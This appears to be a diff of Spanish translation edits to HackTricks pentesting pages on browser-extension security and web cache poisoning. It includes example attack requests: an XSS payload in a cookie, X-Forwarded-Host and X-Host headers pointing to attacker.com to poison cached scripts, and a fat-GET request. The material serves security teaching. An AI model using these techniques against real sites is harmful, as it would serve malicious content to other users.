> Tenga en cuenta que **los Scripts de Contenido no son obligatorios** ya que también es posible **inyectar dinámicamente** scripts y **inyectarlos programáticamente** en páginas web a través de **`tabs.executeScript`**. Esto en realidad proporciona más **controles granulares**.
|
||||
> Tenga en cuenta que **los Scripts de Contenido no son obligatorios** ya que también es posible **inyectar dinámicamente** scripts y **inyectarlos programáticamente** en páginas web a través de **`tabs.executeScript`**. Esto proporciona en realidad más **controles granulares**.
|
||||
|
||||
Para la inyección programática de un script de contenido, se requiere que la extensión tenga [permisos de host](https://developer.chrome.com/docs/extensions/reference/permissions) para la página en la que se van a inyectar los scripts. Estos permisos pueden asegurarse ya sea **solicitándolos** dentro del manifiesto de la extensión o de manera temporal a través de [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
|
||||
|
||||
@ -171,7 +171,7 @@ Para incluir o excluir más URLs, también es posible usar **`include_globs`** y
|
||||
|
||||
### Content Scripts `run_at`
|
||||
|
||||
El campo `run_at` controla **cuándo se inyectan los archivos JavaScript en la página web**. El valor preferido y predeterminado es `"document_idle"`.
|
||||
El campo `run_at` controla **cuándo se inyectan los archivos JavaScript en la página web**. El valor preferido y por defecto es `"document_idle"`.
|
||||
|
||||
Los valores posibles son:
|
||||
|
||||
@ -227,7 +227,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
|
||||
}
|
||||
})
|
||||
```
|
||||
Utiliza el [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) para escuchar mensajes. Cuando se recibe un mensaje de `"explain"`, utiliza el [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) para abrir una página en una nueva pestaña.
|
||||
Utiliza la [API runtime.onMessage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) para escuchar mensajes. Cuando se recibe un mensaje de `"explain"`, utiliza la [API tabs](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) para abrir una página en una nueva pestaña.
|
||||
|
||||
Para depurar el script de fondo, puedes ir a los **detalles de la extensión e inspeccionar el service worker,** esto abrirá las herramientas de desarrollo con el script de fondo:
|
||||
|
||||
@ -243,7 +243,7 @@ Las extensiones de navegador pueden contener varios tipos de páginas:
|
||||
|
||||
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Ten en cuenta que estas páginas no son persistentes como las páginas de fondo, ya que cargan contenido dinámicamente según sea necesario. A pesar de esto, comparten ciertas capacidades con la página de fondo:
|
||||
Ten en cuenta que estas páginas no son persistentes como las páginas de fondo, ya que cargan contenido dinámicamente según la necesidad. A pesar de esto, comparten ciertas capacidades con la página de fondo:
|
||||
|
||||
- **Comunicación con Scripts de Contenido:** Similar a la página de fondo, estas páginas pueden recibir mensajes de scripts de contenido, facilitando la interacción dentro de la extensión.
|
||||
- **Acceso a APIs Específicas de la Extensión:** Estas páginas disfrutan de acceso completo a APIs específicas de la extensión, sujeto a los permisos definidos para la extensión.
|
||||
@ -276,7 +276,7 @@ Para más información sobre CSP y posibles bypasses, consulta:
|
||||
|
||||
### `web_accessible_resources`
|
||||
|
||||
Para que una página web acceda a una página de una extensión de navegador, una página `.html`, por ejemplo, esta página debe mencionarse en el campo **`web_accessible_resources`** del `manifest.json`.\
|
||||
Para que una página web acceda a una página de una extensión de navegador, por ejemplo, una página `.html`, esta página debe mencionarse en el campo **`web_accessible_resources`** del `manifest.json`.\
|
||||
Por ejemplo:
|
||||
```javascript
|
||||
{
|
||||
@ -317,7 +317,7 @@ browext-clickjacking.md
|
||||
> Permitir que estas páginas se carguen solo por la extensión y no por URLs aleatorias podría prevenir ataques de ClickJacking.
|
||||
|
||||
> [!CAUTION]
|
||||
> Tenga en cuenta que las páginas de **`web_accessible_resources`** y otras páginas de la extensión también son capaces de **contactar scripts de fondo**. Así que si una de estas páginas es vulnerable a **XSS**, podría abrir una vulnerabilidad mayor.
|
||||
> Tenga en cuenta que las páginas de **`web_accessible_resources`** y otras páginas de la extensión también son capaces de **contactar scripts en segundo plano**. Así que si una de estas páginas es vulnerable a **XSS**, podría abrir una vulnerabilidad mayor.
|
||||
>
|
||||
> Además, tenga en cuenta que solo puede abrir páginas indicadas en **`web_accessible_resources`** dentro de iframes, pero desde una nueva pestaña es posible acceder a cualquier página en la extensión conociendo el ID de la extensión. Por lo tanto, si se encuentra un XSS abusando de los mismos parámetros, podría ser explotado incluso si la página no está configurada en **`web_accessible_resources`**.
|
||||
|
||||
@ -326,8 +326,8 @@ browext-clickjacking.md
|
||||
Según la [**documentación**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), la propiedad de manifiesto `"externally_connectable"` declara **qué extensiones y páginas web pueden conectarse** a su extensión a través de [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) y [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
|
||||
|
||||
- Si la clave **`externally_connectable`** **no** está declarada en el manifiesto de su extensión o está declarada como **`"ids": ["*"]`**, **todas las extensiones pueden conectarse, pero ninguna página web puede conectarse**.
|
||||
- Si se especifican **IDs específicos**, como en `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **solo esas aplicaciones** pueden conectarse.
|
||||
- Si se especifican **coincidencias**, esas aplicaciones web podrán conectarse:
|
||||
- Si se **especifican IDs específicos**, como en `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **solo esas aplicaciones** pueden conectarse.
|
||||
- Si se **especifican coincidencias**, esas aplicaciones web podrán conectarse:
|
||||
```json
|
||||
"matches": [
|
||||
"https://*.google.com/*",
|
||||
@ -338,7 +338,7 @@ Según la [**documentación**](https://developer.chrome.com/docs/extensions/refe
|
||||
Cuantas **menos extensiones y URLs** se indiquen aquí, **menor será la superficie de ataque**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Si se indica una página web **vulnerable a XSS o takeover** en **`externally_connectable`**, un atacante podrá **enviar mensajes directamente al script de fondo**, eludiendo completamente el Content Script y su CSP.
|
||||
> Si una página web **vulnerable a XSS o takeover** se indica en **`externally_connectable`**, un atacante podrá **enviar mensajes directamente al script de fondo**, eludiendo completamente el Content Script y su CSP.
|
||||
>
|
||||
> Por lo tanto, este es un **bypass muy poderoso**.
|
||||
>
|
||||
@ -352,9 +352,9 @@ Para comunicarse entre el script de contenido y la página web, generalmente se
|
||||
|
||||
### Dentro de la extensión
|
||||
|
||||
Generalmente se utiliza la función **`chrome.runtime.sendMessage`** para enviar un mensaje dentro de la extensión (generalmente manejado por el script `background`) y para recibir y manejarlo se declara un oyente llamando a **`chrome.runtime.onMessage.addListener`**.
|
||||
Generalmente, se utiliza la función **`chrome.runtime.sendMessage`** para enviar un mensaje dentro de la extensión (generalmente manejado por el script `background`) y para recibirlo y manejarlo se declara un oyente llamando a **`chrome.runtime.onMessage.addListener`**.
|
||||
|
||||
También es posible usar **`chrome.runtime.connect()`** para tener una conexión persistente en lugar de enviar mensajes individuales, se puede usar para **enviar** y **recibir** **mensajes** como en el siguiente ejemplo:
|
||||
También es posible usar **`chrome.runtime.connect()`** para tener una conexión persistente en lugar de enviar mensajes individuales, es posible usarlo para **enviar** y **recibir** **mensajes** como en el siguiente ejemplo:
|
||||
|
||||
<details>
|
||||
|
||||
@ -393,7 +393,7 @@ También es posible enviar mensajes desde un script de fondo a un script de cont
|
||||
|
||||
### Desde `externally_connectable` permitido a la extensión
|
||||
|
||||
**Las aplicaciones web y las extensiones de navegador externas permitidas** en la configuración de `externally_connectable` pueden enviar solicitudes usando :
|
||||
**Las aplicaciones web y las extensiones de navegador externas permitidas** en la configuración de `externally_connectable` pueden enviar solicitudes utilizando :
|
||||
```javascript
|
||||
chrome.runtime.sendMessage(extensionId, ...
|
||||
```
|
||||
@ -401,7 +401,7 @@ Donde es necesario mencionar el **ID de la extensión**.
|
||||
|
||||
### Mensajería Nativa
|
||||
|
||||
Es posible que los scripts de fondo se comuniquen con binarios dentro del sistema, que podrían ser **propensos a vulnerabilidades críticas como RCEs** si esta comunicación no está debidamente asegurada. [Más sobre esto más tarde](./#native-messaging).
|
||||
Es posible que los scripts de fondo se comuniquen con binarios dentro del sistema, lo que podría ser **propenso a vulnerabilidades críticas como RCEs** si esta comunicación no está debidamente asegurada. [More on this later](#native-messaging).
|
||||
```javascript
|
||||
chrome.runtime.sendNativeMessage(
|
||||
"com.my_company.my_application",
|
||||
@ -413,7 +413,7 @@ console.log("Received " + response)
|
||||
```
|
||||
## Web **↔︎** Comunicación de Scripts de Contenido
|
||||
|
||||
Los entornos donde operan los **scripts de contenido** y donde existen las páginas anfitrionas están **separados** entre sí, asegurando **aislamiento**. A pesar de este aislamiento, ambos tienen la capacidad de interactuar con el **Modelo de Objetos del Documento (DOM)** de la página, un recurso compartido. Para que la página anfitriona participe en la comunicación con el **script de contenido**, o indirectamente con la extensión a través del script de contenido, se requiere utilizar el **DOM** que es accesible por ambas partes como canal de comunicación.
|
||||
Los entornos donde operan los **scripts de contenido** y donde existen las páginas anfitrionas están **separados** entre sí, asegurando **aislamiento**. A pesar de este aislamiento, ambos tienen la capacidad de interactuar con el **Modelo de Objetos del Documento (DOM)** de la página, un recurso compartido. Para que la página anfitriona participe en la comunicación con el **script de contenido**, o indirectamente con la extensión a través del script de contenido, se requiere utilizar el **DOM** que es accesible por ambas partes como el canal de comunicación.
|
||||
|
||||
### Mensajes Post
|
||||
```javascript:content-script.js
|
||||
@ -452,13 +452,13 @@ false
|
||||
```
|
||||
Una comunicación segura de Post Message debe verificar la autenticidad del mensaje recibido, esto se puede hacer verificando:
|
||||
|
||||
- **`event.isTrusted`**: Esto es True solo si el evento fue desencadenado por una acción del usuario.
|
||||
- **`event.isTrusted`**: Esto es Verdadero solo si el evento fue desencadenado por una acción del usuario.
|
||||
- El script de contenido podría esperar un mensaje solo si el usuario realiza alguna acción.
|
||||
- **dominio de origen**: podría esperar un mensaje solo de una lista permitida de dominios.
|
||||
- Si se utiliza una expresión regular, ten mucho cuidado.
|
||||
- **Fuente**: `received_message.source !== window` se puede usar para verificar si el mensaje fue **desde la misma ventana** donde el Script de Contenido está escuchando.
|
||||
|
||||
Las verificaciones anteriores, incluso si se realizan, podrían ser vulnerables, así que verifica en la siguiente página **posibles elusiones de Post Message**:
|
||||
Las verificaciones anteriores, incluso si se realizan, podrían ser vulnerables, así que verifica en la siguiente página **potenciales bypasses de Post Message**:
|
||||
|
||||
{{#ref}}
|
||||
../postmessage-vulnerabilities/
|
||||
@ -529,7 +529,7 @@ Al crear nuevas extensiones, la preferencia debe ser hacia promesas en lugar de
|
||||
|
||||
## Mensajería Nativa
|
||||
|
||||
Las extensiones del navegador también permiten comunicarse con **binarios en el sistema a través de stdin**. La aplicación debe instalar un json que indique esto en un json como:
|
||||
Las extensiones del navegador también permiten comunicarse con **binarios en el sistema a través de stdin**. La aplicación debe instalar un json que lo indique en un json como:
|
||||
```json
|
||||
{
|
||||
"name": "com.my_company.my_application",
|
||||
@ -567,15 +567,15 @@ Y dentro de esto se explica un ejemplo de **cómo ir de cualquier página a RCE
|
||||
|
||||
## Información Sensible en Memoria/Código/Portapapeles
|
||||
|
||||
Si una Extensión del Navegador almacena **información sensible dentro de su memoria**, esta podría ser **volcada** (especialmente en máquinas Windows) y **buscada** para esta información.
|
||||
Si una Extensión del Navegador almacena **información sensible dentro de su memoria**, esto podría ser **volcado** (especialmente en máquinas Windows) y **buscado** para esta información.
|
||||
|
||||
Por lo tanto, la memoria de la Extensión del Navegador **no debe considerarse segura** y **la información sensible** como credenciales o frases mnemotécnicas **no debe ser almacenada**.
|
||||
|
||||
Por supuesto, **no ponga información sensible en el código**, ya que será **pública**.
|
||||
Por supuesto, no **coloque información sensible en el código**, ya que será **pública**.
|
||||
|
||||
Para volcar la memoria del navegador, podría **volcar la memoria del proceso** o ir a la **configuración** de la extensión del navegador y hacer clic en **`Inspeccionar pop-up`** -> En la sección **`Memoria`** -> **`Tomar un instantáneo`** y **`CTRL+F`** para buscar dentro del instantáneo información sensible.
|
||||
|
||||
Además, información altamente sensible como claves mnemotécnicas o contraseñas **no debería permitirse que se copien en el portapapeles** (o al menos eliminarla del portapapeles en unos segundos) porque entonces los procesos que monitorean el portapapeles podrán obtenerlas.
|
||||
Además, información altamente sensible como claves mnemotécnicas o contraseñas **no debería poder ser copiada en el portapapeles** (o al menos eliminarla del portapapeles en unos segundos) porque entonces los procesos que monitorean el portapapeles podrán obtenerlas.
|
||||
|
||||
## Cargando una Extensión en el Navegador
|
||||
|
||||
@ -585,11 +585,11 @@ Además, información altamente sensible como claves mnemotécnicas o contraseñ
|
||||
|
||||
En **Firefox**, vaya a **`about:debugging#/runtime/this-firefox`** y haga clic en el botón **`Cargar complemento temporal`**.
|
||||
|
||||
## Obtener el código fuente de la tienda
|
||||
## Obteniendo el código fuente de la tienda
|
||||
|
||||
El código fuente de una extensión de Chrome se puede obtener a través de varios métodos. A continuación se detallan explicaciones e instrucciones para cada opción.
|
||||
|
||||
### Descargar Extensión como ZIP a través de la Línea de Comandos
|
||||
### Descargar la Extensión como ZIP a través de la Línea de Comandos
|
||||
|
||||
El código fuente de una extensión de Chrome se puede descargar como un archivo ZIP utilizando la línea de comandos. Esto implica usar `curl` para obtener el archivo ZIP de una URL específica y luego extraer el contenido del archivo ZIP a un directorio. Aquí están los pasos:
|
||||
|
||||
@ -652,8 +652,8 @@ Aunque las extensiones de navegador tienen una **superficie de ataque limitada**
|
||||
- [ ] Si el **Content Script accede a detalles del DOM**, verificar que **no estén introduciendo un XSS** si son **modificados** por la web
|
||||
- [ ] Hacer un énfasis especial si esta comunicación también está involucrada en la **comunicación de Content Script -> script de fondo**
|
||||
- [ ] Si el script de fondo se comunica a través de **native messaging**, verificar que la comunicación sea segura y esté saneada
|
||||
- [ ] **La información sensible no debe ser almacenada** dentro del **código** de la extensión del navegador
|
||||
- [ ] **La información sensible no debe ser almacenada** dentro de la **memoria** de la extensión del navegador
|
||||
- [ ] **La información sensible no debe ser almacenada** dentro del código de la extensión del navegador
|
||||
- [ ] **La información sensible no debe ser almacenada** dentro de la memoria de la extensión del navegador
|
||||
- [ ] **La información sensible no debe ser almacenada** dentro del **sistema de archivos sin protección**
|
||||
|
||||
## Riesgos de Extensiones de Navegador
|
||||
@ -665,31 +665,31 @@ Aunque las extensiones de navegador tienen una **superficie de ataque limitada**
|
||||
### [**Tarnish**](https://thehackerblog.com/tarnish/)
|
||||
|
||||
- Extrae cualquier extensión de Chrome de un enlace proporcionado de la tienda web de Chrome.
|
||||
- Visor de **[**manifest.json**](https://developer.chrome.com/extensions/manifest)**: simplemente muestra una versión JSON formateada del manifiesto de la extensión.
|
||||
- Visor de **manifest.json**: simplemente muestra una versión JSON formateada del manifiesto de la extensión.
|
||||
- **Análisis de Huellas Dactilares**: Detección de [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) y generación automática de JavaScript de huellas dactilares de extensiones de Chrome.
|
||||
- **Análisis de Clickjacking Potencial**: Detección de páginas HTML de extensiones con la directiva [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) establecida. Estas son potencialmente vulnerables a clickjacking dependiendo del propósito de las páginas.
|
||||
- Visor de **Advertencia(s) de Permisos**: que muestra una lista de todas las advertencias de permisos de Chrome que se mostrarán cuando un usuario intente instalar la extensión.
|
||||
- Visor de **Advertencias de Permisos**: que muestra una lista de todas las advertencias de permisos de Chrome que se mostrarán cuando un usuario intente instalar la extensión.
|
||||
- **Función(es) Peligrosa(s)**: muestra la ubicación de funciones peligrosas que podrían ser potencialmente explotadas por un atacante (por ejemplo, funciones como innerHTML, chrome.tabs.executeScript).
|
||||
- **Punto(s) de Entrada**: muestra dónde la extensión recibe entrada de usuario/externa. Esto es útil para entender la superficie de una extensión y buscar puntos potenciales para enviar datos maliciosamente elaborados a la extensión.
|
||||
- Tanto los escáneres de Función(es) Peligrosa(s) como de Punto(s) de Entrada tienen lo siguiente para sus alertas generadas:
|
||||
- Fragmento de código relevante y línea que causó la alerta.
|
||||
- Descripción del problema.
|
||||
- Un botón “Ver Archivo” para ver el archivo fuente completo que contiene el código.
|
||||
- Un botón "Ver Archivo" para ver el archivo fuente completo que contiene el código.
|
||||
- La ruta del archivo alertado.
|
||||
- La URI completa de la extensión de Chrome del archivo alertado.
|
||||
- El tipo de archivo que es, como un script de Página de Fondo, Script de Contenido, Acción de Navegador, etc.
|
||||
- Si la línea vulnerable está en un archivo JavaScript, las rutas de todas las páginas donde está incluida, así como el tipo de estas páginas y el estado de [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
|
||||
- **Analizador de Política de Seguridad de Contenido (CSP) y verificador de bypass**: Esto señalará debilidades en la CSP de su extensión y también iluminará cualquier forma potencial de eludir su CSP debido a CDNs en la lista blanca, etc.
|
||||
- **Bibliotecas Vulnerables Conocidas**: Esto utiliza [Retire.js](https://retirejs.github.io/retire.js/) para verificar cualquier uso de bibliotecas JavaScript conocidas como vulnerables.
|
||||
- **Bibliotecas Conocidas Vulnerables**: Esto utiliza [Retire.js](https://retirejs.github.io/retire.js/) para verificar cualquier uso de bibliotecas JavaScript conocidas como vulnerables.
|
||||
- Descargar extensión y versiones formateadas.
|
||||
- Descargar la extensión original.
|
||||
- Descargar una versión embellecida de la extensión (HTML y JavaScript auto formateados).
|
||||
- Caché automática de resultados de escaneo, ejecutar un escaneo de extensión tomará un buen tiempo la primera vez que lo ejecute. Sin embargo, la segunda vez, suponiendo que la extensión no se haya actualizado, será casi instantáneo debido a que los resultados están en caché.
|
||||
- URLs de Informe enlazables, fácilmente enlazar a alguien más a un informe de extensión generado por tarnish.
|
||||
- Caché automática de resultados de escaneo, ejecutar un escaneo de extensión tomará un buen tiempo la primera vez que lo ejecute. Sin embargo, la segunda vez, asumiendo que la extensión no ha sido actualizada, será casi instantáneo debido a que los resultados están en caché.
|
||||
- URLs de Reporte Enlazables, fácilmente enlazar a alguien más a un informe de extensión generado por tarnish.
|
||||
|
||||
### [Neto](https://github.com/elevenpaths/neto)
|
||||
|
||||
El proyecto Neto es un paquete de Python 3 concebido para analizar y desentrañar características ocultas de plugins y extensiones de navegador para navegadores bien conocidos como Firefox y Chrome. Automatiza el proceso de descomprimir los archivos empaquetados para extraer estas características de recursos relevantes en una extensión como `manifest.json`, carpetas de localización o archivos fuente de Javascript y HTML.
|
||||
El proyecto Neto es un paquete de Python 3 concebido para analizar y desentrañar características ocultas de los complementos y extensiones de navegador para navegadores bien conocidos como Firefox y Chrome. Automatiza el proceso de descomprimir los archivos empaquetados para extraer estas características de recursos relevantes en una extensión como `manifest.json`, carpetas de localización o archivos fuente de Javascript y HTML.
|
||||
|
||||
## Referencias
|
||||
|
||||
|
||||
@ -1,31 +1,31 @@
|
||||
# Envenenamiento de Caché y Engaño de Caché
|
||||
# Cache Poisoning y Cache Deception
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## La diferencia
|
||||
|
||||
> **¿Cuál es la diferencia entre el envenenamiento de caché web y el engaño de caché web?**
|
||||
> **¿Cuál es la diferencia entre el web cache poisoning y el web cache deception?**
|
||||
>
|
||||
> - En **el envenenamiento de caché web**, el atacante provoca que la aplicación almacene contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
|
||||
> - En **el engaño de caché web**, el atacante provoca que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.
|
||||
> - En **web cache poisoning**, el atacante provoca que la aplicación almacene contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
|
||||
> - En **web cache deception**, el atacante provoca que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.
|
||||
|
||||
## Envenenamiento de Caché
|
||||
## Cache Poisoning
|
||||
|
||||
El envenenamiento de caché tiene como objetivo manipular la caché del lado del cliente para obligar a los clientes a cargar recursos que son inesperados, parciales o controlados por un atacante. La magnitud del impacto depende de la popularidad de la página afectada, ya que la respuesta contaminada se sirve exclusivamente a los usuarios que visitan la página durante el período de contaminación de la caché.
|
||||
El cache poisoning tiene como objetivo manipular la caché del lado del cliente para obligar a los clientes a cargar recursos que son inesperados, parciales o controlados por un atacante. La magnitud del impacto depende de la popularidad de la página afectada, ya que la respuesta contaminada se sirve exclusivamente a los usuarios que visitan la página durante el período de contaminación de la caché.
|
||||
|
||||
La ejecución de un ataque de envenenamiento de caché implica varios pasos:
|
||||
La ejecución de un ataque de cache poisoning implica varios pasos:
|
||||
|
||||
1. **Identificación de Entradas Sin Clave**: Estos son parámetros que, aunque no son necesarios para que una solicitud sea almacenada en caché, pueden alterar la respuesta devuelta por el servidor. Identificar estas entradas es crucial, ya que pueden ser explotadas para manipular la caché.
|
||||
2. **Explotación de las Entradas Sin Clave**: Después de identificar las entradas sin clave, el siguiente paso implica averiguar cómo abusar de estos parámetros para modificar la respuesta del servidor de una manera que beneficie al atacante.
|
||||
3. **Asegurar que la Respuesta Envenenada esté Almacenada en Caché**: El paso final es asegurarse de que la respuesta manipulada esté almacenada en la caché. De esta manera, cualquier usuario que acceda a la página afectada mientras la caché esté envenenada recibirá la respuesta contaminada.
|
||||
1. **Identificación de Entradas No Claveadas**: Estos son parámetros que, aunque no son necesarios para que una solicitud sea almacenada en caché, pueden alterar la respuesta devuelta por el servidor. Identificar estas entradas es crucial, ya que pueden ser explotadas para manipular la caché.
|
||||
2. **Explotación de las Entradas No Claveadas**: Después de identificar las entradas no claveadas, el siguiente paso implica averiguar cómo abusar de estos parámetros para modificar la respuesta del servidor de una manera que beneficie al atacante.
|
||||
3. **Asegurar que la Respuesta Contaminada esté Almacenada en Caché**: El paso final es asegurarse de que la respuesta manipulada esté almacenada en la caché. De esta manera, cualquier usuario que acceda a la página afectada mientras la caché esté contaminada recibirá la respuesta contaminada.
|
||||
|
||||
### Descubrimiento: Verificar encabezados HTTP
|
||||
|
||||
Por lo general, cuando una respuesta fue **almacenada en la caché**, habrá un **encabezado que lo indique**, puedes verificar qué encabezados debes tener en cuenta en esta publicación: [**Encabezados de Caché HTTP**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
Por lo general, cuando una respuesta fue **almacenada en la caché**, habrá un **encabezado que lo indique**, puedes verificar qué encabezados debes tener en cuenta en esta publicación: [**Encabezados de caché HTTP**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
|
||||
### Descubrimiento: Códigos de error de caché
|
||||
|
||||
Si estás pensando que la respuesta se está almacenando en una caché, podrías intentar **enviar solicitudes con un encabezado incorrecto**, que debería responder con un **código de estado 400**. Luego intenta acceder a la solicitud normalmente y si la **respuesta es un código de estado 400**, sabes que es vulnerable (y podrías incluso realizar un DoS).
|
||||
Si estás pensando que la respuesta se está almacenando en una caché, podrías intentar **enviar solicitudes con un encabezado incorrecto**, que debería ser respondido con un **código de estado 400**. Luego intenta acceder a la solicitud normalmente y si la **respuesta es un código de estado 400**, sabes que es vulnerable (y podrías incluso realizar un DoS).
|
||||
|
||||
Puedes encontrar más opciones en:
|
||||
|
||||
@ -35,7 +35,7 @@ cache-poisoning-to-dos.md
|
||||
|
||||
Sin embargo, ten en cuenta que **a veces estos tipos de códigos de estado no se almacenan en caché**, por lo que esta prueba podría no ser confiable.
|
||||
|
||||
### Descubrimiento: Identificar y evaluar entradas sin clave
|
||||
### Descubrimiento: Identificar y evaluar entradas no claveadas
|
||||
|
||||
Podrías usar [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) para **fuerza bruta de parámetros y encabezados** que pueden estar **cambiando la respuesta de la página**. Por ejemplo, una página puede estar utilizando el encabezado `X-Forwarded-For` para indicar al cliente que cargue el script desde allí:
|
||||
```markup
|
||||
@ -52,11 +52,11 @@ Una vez que hayas **identificado** la **página** que puede ser abusada, qué **
|
||||
La cabecera **`X-Cache`** en la respuesta podría ser muy útil ya que puede tener el valor **`miss`** cuando la solicitud no fue almacenada en caché y el valor **`hit`** cuando está en caché.\
|
||||
La cabecera **`Cache-Control`** también es interesante para saber si un recurso está siendo almacenado en caché y cuándo será la próxima vez que el recurso será almacenado en caché nuevamente: `Cache-Control: public, max-age=1800`
|
||||
|
||||
Otra cabecera interesante es **`Vary`**. Esta cabecera se utiliza a menudo para **indicar cabeceras adicionales** que se tratan como **parte de la clave de caché** incluso si normalmente no están indexadas. Por lo tanto, si el usuario conoce el `User-Agent` de la víctima que está atacando, puede envenenar la caché para los usuarios que utilizan ese `User-Agent` específico.
|
||||
Otra cabecera interesante es **`Vary`**. Esta cabecera se usa a menudo para **indicar cabeceras adicionales** que se tratan como **parte de la clave de caché** incluso si normalmente no están indexadas. Por lo tanto, si el usuario conoce el `User-Agent` de la víctima que está atacando, puede envenenar la caché para los usuarios que utilizan ese `User-Agent` específico.
|
||||
|
||||
Una cabecera más relacionada con la caché es **`Age`**. Define el tiempo en segundos que el objeto ha estado en la caché del proxy.
|
||||
|
||||
Al almacenar en caché una solicitud, ten **cuidado con las cabeceras que usas** porque algunas de ellas podrían ser **utilizadas inesperadamente** como **indexadas** y la **víctima necesitará usar esa misma cabecera**. Siempre **prueba** un Cache Poisoning con **diferentes navegadores** para verificar si está funcionando.
|
||||
Al almacenar en caché una solicitud, ten **cuidado con las cabeceras que usas** porque algunas de ellas podrían ser **usadas inesperadamente** como **indexadas** y la **víctima necesitará usar esa misma cabecera**. Siempre **prueba** un Cache Poisoning con **diferentes navegadores** para verificar si está funcionando.
|
||||
|
||||
## Ejemplos de Explotación
|
||||
|
||||
@ -85,7 +85,7 @@ GET / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
||||
```
|
||||
Tenga en cuenta que si la cookie vulnerable es muy utilizada por los usuarios, las solicitudes regulares estarán limpiando la caché.
|
||||
Note que si la cookie vulnerable es muy utilizada por los usuarios, las solicitudes regulares estarán limpiando la caché.
|
||||
|
||||
### Generando discrepancias con delimitadores, normalización y puntos <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
@ -107,7 +107,7 @@ cache-poisoning-via-url-discrepancies.md
|
||||
|
||||
### Usando múltiples encabezados para explotar vulnerabilidades de envenenamiento de caché web <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
A veces necesitarás **explotar varias entradas no claveadas** para poder abusar de una caché. Por ejemplo, puedes encontrar un **redireccionamiento abierto** si configuras `X-Forwarded-Host` a un dominio controlado por ti y `X-Forwarded-Scheme` a `http`. **Si** el **servidor** está **reenviando** todas las **solicitudes HTTP** **a HTTPS** y usando el encabezado `X-Forwarded-Scheme` como el nombre de dominio para el redireccionamiento. Puedes controlar hacia dónde se apunta la página por el redireccionamiento.
|
||||
A veces necesitarás **explotar varias entradas no claveadas** para poder abusar de una caché. Por ejemplo, puedes encontrar un **redireccionamiento abierto** si configuras `X-Forwarded-Host` a un dominio controlado por ti y `X-Forwarded-Scheme` a `http`. **Si** el **servidor** está **reenviando** todas las **solicitudes HTTP** **a HTTPS** y usando el encabezado `X-Forwarded-Scheme` como el nombre de dominio para el redireccionamiento. Puedes controlar hacia dónde apunta la página por el redireccionamiento.
|
||||
```markup
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
@ -116,7 +116,7 @@ X-Forwarded-Scheme: http
|
||||
```
|
||||
### Explotando con un encabezado `Vary` limitado
|
||||
|
||||
Si descubres que el **`X-Host`** se está utilizando como **nombre de dominio para cargar un recurso JS** pero el encabezado **`Vary`** en la respuesta indica **`User-Agent`**. Entonces, necesitas encontrar una manera de exfiltrar el User-Agent de la víctima y envenenar la caché utilizando ese user agent:
|
||||
Si descubres que el **encabezado `X-Host`** se está utilizando como **nombre de dominio para cargar un recurso JS** pero el encabezado **`Vary`** en la respuesta indica **`User-Agent`**. Entonces, necesitas encontrar una manera de exfiltrar el User-Agent de la víctima y envenenar la caché utilizando ese user agent:
|
||||
```markup
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerbale.net
|
||||
@ -125,7 +125,7 @@ X-Host: attacker.com
|
||||
```
|
||||
### Fat Get
|
||||
|
||||
Envía una solicitud GET con la solicitud en la URL y en el cuerpo. Si el servidor web utiliza la del cuerpo pero el servidor de caché almacena la de la URL, cualquier persona que acceda a esa URL utilizará en realidad el parámetro del cuerpo. Como la vulnerabilidad que encontró James Kettle en el sitio web de Github:
|
||||
Envía una solicitud GET con la solicitud en la URL y en el cuerpo. Si el servidor web utiliza la del cuerpo pero el servidor de caché almacena la de la URL, cualquier persona que acceda a esa URL utilizará en realidad el parámetro del cuerpo. Como la vulnerabilidad que James Kettle encontró en el sitio web de Github:
|
||||
```
|
||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||
Host: github.com
|
||||
@ -134,23 +134,23 @@ Content-Length: 22
|
||||
|
||||
report=innocent-victim
|
||||
```
|
||||
Hay un laboratorio de Portswigger sobre esto: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
|
||||
